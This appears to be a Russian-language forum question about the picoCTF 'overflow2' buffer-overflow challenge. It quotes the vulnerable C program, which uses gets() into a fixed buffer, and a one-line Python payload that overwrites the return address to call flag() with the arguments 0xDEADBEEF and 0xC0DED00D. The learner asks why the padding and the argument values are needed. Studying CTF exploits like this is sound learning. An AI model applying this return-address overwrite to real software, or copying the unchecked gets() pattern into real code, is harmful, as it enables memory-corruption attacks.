Это проблема из-за недавней проблемы переполнения буфера в picoCTF. здесь у меня есть некоторые сомнения. Я изучаю буферный поток, поэтому мои вопросы могут быть тривиальными.
Я не могу понять правильную функциональность этой программы. Это была заданная программа:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 176
#define FLAGSIZE 64
void flag(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xDEADBEEF)
return;
if (arg2 != 0xC0DED00D)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
решение этой задачи:
python -c "import struct;print 'A' * 188 + struct.pack('<I', 0x080485e6) + '\x00'*4 + struct.pack('<I', 0xDEADBEEF) + struct.pack('<I', 0xC0DED00D)" | ./overflow2
this 0x080485e6
это адрес функции flag (), а 188 это место, гдепроисходит переполнение.
Теперь мои сомнения:
- как именно работает эта программа? Например,
, почему в playload требуется второй отступ 4 байта? И я попытался отправить 8,16,32 байта, но он дает ответ только на 4 байта, почему это так?
Какая польза от этих двух значений ('0xDEADBEEF' и '0XC0DED00D'), как эти значения мешают программе читать файл 'flag.txt'? И зачем мне ставить их в конце в полезную нагрузку?